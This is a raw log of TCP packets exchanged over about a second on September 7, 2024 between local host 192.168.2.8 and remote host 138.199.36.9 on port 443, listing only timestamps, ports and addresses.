Sep 7, 2024 23:15:28.786499977 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.786582947 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.786617041 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.786659002 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.787024021 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.787040949 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.787094116 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.787101984 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.787168026 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.787547112 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.787564039 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.787617922 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.787625074 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.787674904 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.788609982 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.788629055 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.788667917 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.788676023 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.788707972 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.788991928 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.789007902 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.789056063 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.789063931 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.789133072 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.789345026 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.789361000 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.789402008 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.789408922 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.789452076 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.789710999 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.789731026 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.789772987 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.789778948 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.789828062 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.789983988 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.789999962 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.790021896 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.790035009 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.790055990 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.790071964 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.874952078 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.874979973 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.875053883 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.875083923 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.875174046 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.875560045 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.875579119 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.875638962 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.875648022 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.875853062 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.876487970 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.876504898 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.876550913 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.876558065 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.876576900 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.876606941 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.877032042 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.877053976 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.877111912 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.877119064 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.877229929 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.877736092 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.877753019 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.877824068 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.877830029 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.877842903 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.877862930 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.877897024 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.877904892 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.877922058 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.877948999 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.878484964 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.878509998 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.878546000 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.878552914 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.878585100 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.878593922 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.878782034 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.878797054 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.878843069 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.878850937 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.878928900 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.963581085 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.963607073 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.963680029 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.963716984 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.963781118 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.964030027 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.964049101 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.964106083 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.964112997 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.964252949 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.965125084 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.965151072 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.965174913 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.965183020 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.965208054 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.965223074 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.965498924 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.965512991 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.965567112 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.965574026 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.965733051 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.966480970 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.966512918 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.966537952 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.966545105 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.966578007 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.966921091 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.966938972 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.966976881 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.966983080 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.967014074 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.967031956 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.967478991 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.967497110 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.967531919 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.967538118 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.967556953 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.967572927 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.967794895 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.967812061 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.967863083 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.967869997 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.967957020 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.052396059 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.052418947 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.052494049 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.052535057 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.052628040 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.052628994 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.052639961 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.052663088 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.052664042 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.052689075 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.052696943 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.052721024 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.052745104 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.053467989 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.053484917 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.053555965 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.053565025 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.053644896 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.054250956 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.054265976 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.054332018 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.054342985 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.054397106 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.055150032 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.055165052 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.055228949 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.055238962 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.055252075 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.055270910 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.055277109 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.055286884 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.055316925 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.055351973 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.056463003 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.056478024 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.056523085 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.056533098 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.056556940 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.056574106 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.056595087 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.056610107 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.056658983 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.056665897 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.057039022 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.140636921 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.140656948 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.140750885 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.140785933 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.141000032 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.141114950 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.141129017 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.141170025 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.141179085 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.141205072 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.141233921 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.142250061 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.142261982 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.142333031 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.142339945 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.142373085 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.142652035 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.142666101 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.142719030 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.142724991 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.142877102 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.143551111 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.143569946 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.143625021 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.143631935 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.144061089 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.144160986 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.144175053 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.144218922 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.144224882 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.144273996 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.144996881 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.145010948 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.145083904 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.145091057 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.145118952 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.145138979 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.145167112 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.145174026 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.145195961 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.145231962 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.229151011 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.229171038 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.229269981 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.229320049 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.229600906 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.229624987 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.229659081 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.229670048 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.229682922 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.229712963 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.230664968 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.230679989 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.230729103 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.230741024 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.230755091 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.230863094 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.231215000 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.231230021 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.231281042 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.231288910 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.231463909 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.231973886 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.231987953 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.232039928 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.232047081 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.232270002 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.232479095 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.232498884 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.232563019 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.232569933 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.232810020 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.233509064 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.233522892 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.233567953 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.233577013 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.233738899 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.233807087 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.233820915 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.233870983 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.233876944 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.234164953 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.317594051 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.317614079 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.317687988 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.317719936 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.317965031 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.318073988 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.318087101 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.318131924 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.318137884 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.318258047 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.319269896 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.319288969 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.319340944 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.319351912 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.319489956 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.319925070 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.319937944 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.319997072 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.320003986 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.320058107 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.320794106 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.320808887 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.320858002 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.320868015 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.320905924 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.320924044 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.320946932 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.320954084 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.320982933 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.321005106 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.321930885 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.321943998 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.321995020 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.322000980 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.322576046 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.322593927 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.322649002 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.322657108 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.323445082 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.406155109 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.406183004 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.406275988 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.406306982 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.406546116 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.406953096 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.406968117 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.407027960 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.407037020 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.407210112 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.407576084 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.407591105 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.407646894 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.407654047 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.408263922 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.408381939 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.408406019 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.408468008 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.408477068 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.409236908 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.409259081 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.409310102 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.409322977 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.409336090 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.409357071 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.409449100 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.409463882 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.409517050 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.409523010 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.409555912 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.410398006 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.410418987 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.410482883 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.410495043 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.410515070 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.410538912 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.411156893 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.411173105 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.411236048 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.411247969 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.411288977 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.494508028 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.494533062 CEST	443	49706	138.199.36.9	192.168.2.8
